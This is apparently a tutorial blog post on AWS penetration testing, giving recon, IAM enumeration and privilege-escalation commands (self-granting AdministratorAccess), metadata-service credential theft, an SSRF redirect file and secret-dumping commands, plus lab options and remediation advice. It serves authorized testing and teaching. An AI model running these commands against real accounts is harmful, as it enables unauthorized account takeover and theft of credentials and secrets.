AWS is the biggest cloud provider on the planet. It’s also one of the most common attack surfaces in modern red team engagements. If you’re doing pentesting in 2026 and you don’t understand how to attack AWS, you’re leaving scope on the table.
This guide covers the full attack chain — from initial recon through privilege escalation — with real commands and the tools that actually matter.
You need a lab environment to practice this. Spin up a dedicated AWS account for testing. If you want a VPS to run attack tooling from, Vultr and DigitalOcean are solid choices — cheap, fast, and you can tear them down when done.
Before You Start: Legal Scope
AWS has a clear penetration testing policy . The short version:
- You can test your own AWS resources without prior approval for most services
- You cannot test AWS infrastructure itself (the underlying cloud platform)
- You cannot run DDoS, port scanning across the internet, or DNS zone walking against AWS services
- For third-party engagements, you need written authorization from the account owner
The rules are more permissive than they used to be, but read them before you start. Getting your IP banned from AWS or triggering a GuardDuty escalation to the wrong team is a bad day.
Phase 1: Reconnaissance
Passive Recon — Find Exposed Assets
Before touching anything, look for publicly exposed AWS resources. Attackers find these constantly.
S3 bucket enumeration:
# Check if a bucket exists and is public
aws s3 ls s3://target-company-name 2>&1
aws s3 ls s3://target-company-backup 2>&1
aws s3 ls s3://target-company-logs 2>&1
# Common naming patterns to try
aws s3 ls s3://target
aws s3 ls s3://target-prod
aws s3 ls s3://target-staging
aws s3 ls s3://target-dev
aws s3 ls s3://target-data
Tools for automated bucket discovery:
# s3recon
pip install s3recon
s3recon wordlist.txt -t target
# lazys3
python lazys3.py target
# S3Scanner
python s3scanner.py --bucket-file buckets.txt
CloudFront and Route53 enumeration via DNS:
# Find subdomains that resolve to AWS
amass enum -passive -d target.com | grep amazonaws
subfinder -d target.com | grep amazonaws
# Identify CloudFront distributions
dig target.com | grep cloudfront
GitHub/code scanning for leaked credentials:
# truffleHog for git repos
trufflehog git https://github.com/target-org/repo
# gitleaks
gitleaks detect --source /path/to/repo
# Look for AWS key patterns: AKIA... (access key ID)
grep -r "AKIA" /path/to/cloned/repo
AWS access key IDs always start with AKIA (long-term) or ASIA (temporary/STS). If you find one in code, it’s often still valid.
Active Recon — Validate Credentials
Once you have credentials (from leaked keys, assumed role, or initial foothold), validate and enumerate.
Validate who you are:
aws sts get-caller-identity
This returns your Account ID, User ID, and ARN. Critical first step — tells you exactly what you’re working with.
Configure credentials:
aws configure
# or manually:
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=<token> # only if STS temporary creds
Phase 2: IAM Enumeration
IAM is the crown jewel of AWS pentesting. Misconfigured IAM = full account compromise.
Enumerate Your Current Permissions
The hardest part: AWS doesn’t have a “list my own permissions” API call. You have to enumerate by trying.
Manual checks:
# List all policies attached to current user
aws iam list-attached-user-policies --user-name <username>
# Get inline policies
aws iam list-user-policies --user-name <username>
# Enumerate groups
aws iam list-groups-for-user --user-name <username>
# Get group policies
aws iam list-attached-group-policies --group-name <groupname>
Automated permission enumeration with enumerate-iam:
git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
pip install -r requirements.txt
python enumerate-iam.py --access-key AKIA... --secret-key <secret>
This brute-forces hundreds of API calls to map what your credentials can and cannot do.
IAM Users, Roles, and Policies
# List all IAM users (if you have iam:ListUsers)
aws iam list-users
# List all roles
aws iam list-roles
# List all policies
aws iam list-policies --scope Local
# Get policy document — shows what permissions it grants
aws iam get-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/ExamplePolicy \
--version-id v1
# List attached policies for a role
aws iam list-attached-role-policies --role-name <role-name>
Find Overprivileged Roles
The goal: find a role you can assume that has more permissions than your current identity.
# List all roles and their trust policies
aws iam list-roles --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]'
# Try to assume a role
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/TargetRole \
--role-session-name pentest
# If successful, you get temporary credentials — export them and continue
export AWS_ACCESS_KEY_ID=<new-key>
export AWS_SECRET_ACCESS_KEY=<new-secret>
export AWS_SESSION_TOKEN=<new-token>
Trust policies that allow "Principal": {"AWS": "*"} or trust your current role are prime targets.
Phase 3: IAM Privilege Escalation
This is where it gets interesting. AWS has dozens of documented privilege escalation paths. Here are the most common.
iam:CreatePolicyVersion
If you can create new policy versions, you can attach AdministratorAccess to yourself:
# Create a new policy version with admin permissions
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/YourPolicy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
}' \
--set-as-default
iam:AttachUserPolicy
# Attach AdministratorAccess directly to your user
aws iam attach-user-policy \
--user-name <your-username> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:PassRole + ec2:RunInstances
If you can pass a role to an EC2 instance and access that instance, you inherit the role’s permissions:
# Launch EC2 with a highly privileged role
aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminRole \
--user-data '#!/bin/bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ > /tmp/creds.txt'
Then access the instance and pull credentials from the metadata service.
Lambda Privilege Escalation
# Create a Lambda with an admin role
aws lambda create-function \
--function-name privileged-lambda \
--runtime python3.11 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler index.handler \
--zip-file fileb://function.zip
# Invoke it to run arbitrary code as the admin role
aws lambda invoke --function-name privileged-lambda output.txt
Tool for automated PrivEsc path mapping:
# Pacu module for IAM privesc
pacu
> run iam__privesc_scan
Phase 4: S3 Attacks
S3 misconfigurations leak more data than almost anything else in AWS. They’re also consistently findable.
Enumerate Buckets
# List contents of a public bucket
aws s3 ls s3://target-bucket --no-sign-request
# Sync entire bucket locally
aws s3 sync s3://target-bucket /local/dir --no-sign-request
# Check ACL
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request
# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request
--no-sign-request tests public access. Without it, you’re using your own credentials.
Common S3 Findings
- Public read enabled: Anyone can list and download files
- Public write enabled: Anyone can upload malicious files (rare but catastrophic)
- Bucket policy too broad:
"Principal": "*"on sensitive actions - ACLs with
authenticated-users: Any AWS account can access — not just your org - Logging disabled: No audit trail of access
Server-Side Request Forgery via S3
If you find an app reading files from S3 URLs you control, test for SSRF:
# Upload a file that redirects to the metadata service
echo '{"redirect": "http://169.254.169.254/latest/meta-data/"}' > evil.json
aws s3 cp evil.json s3://your-bucket/evil.json --acl public-read
Phase 5: EC2 Attacks
Instance Metadata Service (IMDS)
The metadata service at 169.254.169.254 is how EC2 instances get their IAM credentials. If you have SSRF or code execution on an EC2 instance, this is your first stop.
IMDSv1 (legacy, no auth required):
# From inside the instance or via SSRF
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
The last call returns AccessKeyId, SecretAccessKey, and Token — valid temporary credentials you can use anywhere.
IMDSv2 (requires a session token first):
# Get a session token first
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Then use it
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
-H "X-aws-ec2-metadata-token: $TOKEN"
IMDSv2 is harder to abuse via SSRF because it requires a PUT request first — many SSRF vulnerabilities only support GET.
User Data Exposure
EC2 user data is often used to bootstrap instances with scripts — and sometimes contains secrets:
curl http://169.254.169.254/latest/user-data
# or with IMDSv2:
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/user-data
Look for hardcoded passwords, API keys, or database connection strings.
Enumerate Running Instances
# List all EC2 instances
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,PrivateIpAddress,Tags]'
# Find instances with public IPs
aws ec2 describe-instances \
--filters "Name=instance-state-name,Values=running" \
--query 'Reservations[*].Instances[?PublicIpAddress!=`null`].[InstanceId,PublicIpAddress]'
# Check security groups for overly permissive rules
aws ec2 describe-security-groups \
--query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName]'
Phase 6: Other Services Worth Hitting
Secrets Manager and Parameter Store
# List secrets (often contains DB passwords, API keys)
aws secretsmanager list-secrets
# Get secret value
aws secretsmanager get-secret-value --secret-id <secret-name>
# Parameter Store
aws ssm describe-parameters
aws ssm get-parameter --name /prod/db/password --with-decryption
aws ssm get-parameters-by-path --path /prod/ --recursive --with-decryption
Finding secrets in Secrets Manager is a common win — developers store things there assuming it’s locked down, but IAM misconfigs often expose them.
Lambda Functions
# List all Lambda functions
aws lambda list-functions
# Get function details including environment variables
aws lambda get-function-configuration --function-name <function-name>
# Get the actual function code
aws lambda get-function --function-name <function-name>
# Download the CodeLocation URL to get the zip
# List environment variables (often contain secrets)
aws lambda get-function-configuration \
--function-name <function-name> \
--query 'Environment.Variables'
RDS and Databases
# List RDS instances
aws rds describe-db-instances
# Check if publicly accessible
aws rds describe-db-instances \
--query 'DBInstances[?PubliclyAccessible==`true`].[DBInstanceIdentifier,Endpoint.Address]'
CloudTrail — Know What’s Being Logged
# Check if CloudTrail is enabled
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name <trail-name>
# Look for gaps — regions without CloudTrail coverage
aws cloudtrail describe-trails --include-shadow-trails false
If CloudTrail is disabled in a region, your activity there won’t be logged.
Phase 7: Pacu — The AWS Exploitation Framework
Pacu is the Metasploit of AWS pentesting. Rhino Security Labs built it and it’s the standard tool for the job.
# Install
pip3 install pacu
# or
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && pip3 install -r requirements.txt
# Start Pacu
python3 pacu.py
# Key commands
> set_keys # Set your AWS credentials
> whoami # Confirm identity
> run iam__enum_users_roles_policies_groups # Full IAM enum
> run iam__privesc_scan # Find privesc paths
> run s3__enum_bucket_names # S3 bucket discovery
> run ec2__enum # EC2 enumeration
> run lambda__enum # Lambda enum
> run secrets__enum # Secrets Manager enum
> run guardduty__list_accounts # GuardDuty status
> services # See all available modules
Pacu’s privesc scanner is particularly valuable — it maps your current permissions against known escalation paths and tells you exactly what you can abuse.
Phase 8: ScoutSuite — Cloud Security Auditing
ScoutSuite gives you a full audit report of an AWS account’s security posture. Useful for identifying every misconfiguration at once.
pip install scoutsuite
# Run against AWS account
scout aws
# This generates an HTML report you can browse locally
# Opens browser automatically when done
ScoutSuite checks hundreds of rules across every AWS service — public S3 buckets, open security groups, CloudTrail gaps, IAM password policy, and more. It’s the fastest way to get a full picture of what’s wrong.
Practice Environment: Build Your Own Lab
Don’t practice this on production AWS accounts or anything you don’t own. Build a dedicated lab.
Option 1: Flaws.cloud — Free, intentionally vulnerable AWS environment
http://flaws.cloud
http://flaws2.cloud
These are the best free AWS security labs available. Work through every level.
Option 2: CloudGoat (Rhino Security Labs)
git clone https://github.com/RhinoSecurityLabs/cloudGoat
cd cloudGoat
pip3 install -r requirements.txt
python3 cloudgoat.py config profile default
python3 cloudgoat.py create vulnerable_lambda
CloudGoat deploys intentionally vulnerable AWS scenarios to your own account. Costs a few cents per scenario.
Option 3: Your own isolated AWS account
Create a dedicated AWS account (free tier), spin up intentionally misconfigured resources, and attack them. Use Vultr or DigitalOcean for an external attacker machine.
Recommended Books and Resources
For deep study, these are worth having:
- Hacking the Cloud — the online resource at hackingthe.cloud is comprehensive and free
- Cloud Security and DevSecOps Automation — covers automated security tooling
- AWS Security Specialty certification forces you to understand defensive posture, which makes attacking it more intuitive
For certifications specifically targeting cloud red teaming, check our upcoming Cloud Pentesting Certs guide — covering AWS Security Specialty, AZ-500, and CCSP.
Quick Reference: Essential Commands
# Who am I
aws sts get-caller-identity
# Full IAM enum
python enumerate-iam.py --access-key $KEY --secret-key $SECRET
# Assume role
aws sts assume-role --role-arn <arn> --role-session-name test
# S3 public check
aws s3 ls s3://bucket-name --no-sign-request
# EC2 metadata from inside instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Secrets
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# Pacu
python3 pacu.py
# ScoutSuite full audit
scout aws
Checklist: AWS Pentest Methodology
- Passive recon: S3 buckets, subdomains, GitHub credential leaks
- Validate credentials:
aws sts get-caller-identity - Enumerate IAM permissions (enumerate-iam or Pacu)
- Check for IAM privilege escalation paths (Pacu
iam__privesc_scan) - Enumerate all S3 buckets — check public access and ACLs
- Check EC2 instances — public IPs, security groups, user data
- Pull IAM credentials from IMDS on any accessible EC2
- Enumerate Secrets Manager and SSM Parameter Store
- Check Lambda functions for env var secrets
- Check RDS for publicly accessible instances
- Run ScoutSuite for full account audit
- Review CloudTrail coverage — find gaps
Defending What You Attack
If you’re doing this for a client, they’ll want to know how to fix what you found. The short list:
- Enable SCPs (Service Control Policies) to restrict what any account can do
- Enable GuardDuty in every region — it catches credential theft, unusual API calls, and metadata service abuse
- Enforce IMDSv2 on all EC2 instances — eliminates a class of SSRF attacks
- Block public S3 access at the account level unless explicitly needed
- Enable CloudTrail in all regions, log to a separate locked-down account
- Use IAM Access Analyzer to find overly permissive policies automatically
Need help writing up a cloud pentest engagement or security awareness content for your organization? CipherWrite handles technical security content — reports, white papers, awareness guides.
Next up: Azure Pentesting Guide 2026: Red Teaming Microsoft Cloud — same depth, different cloud.
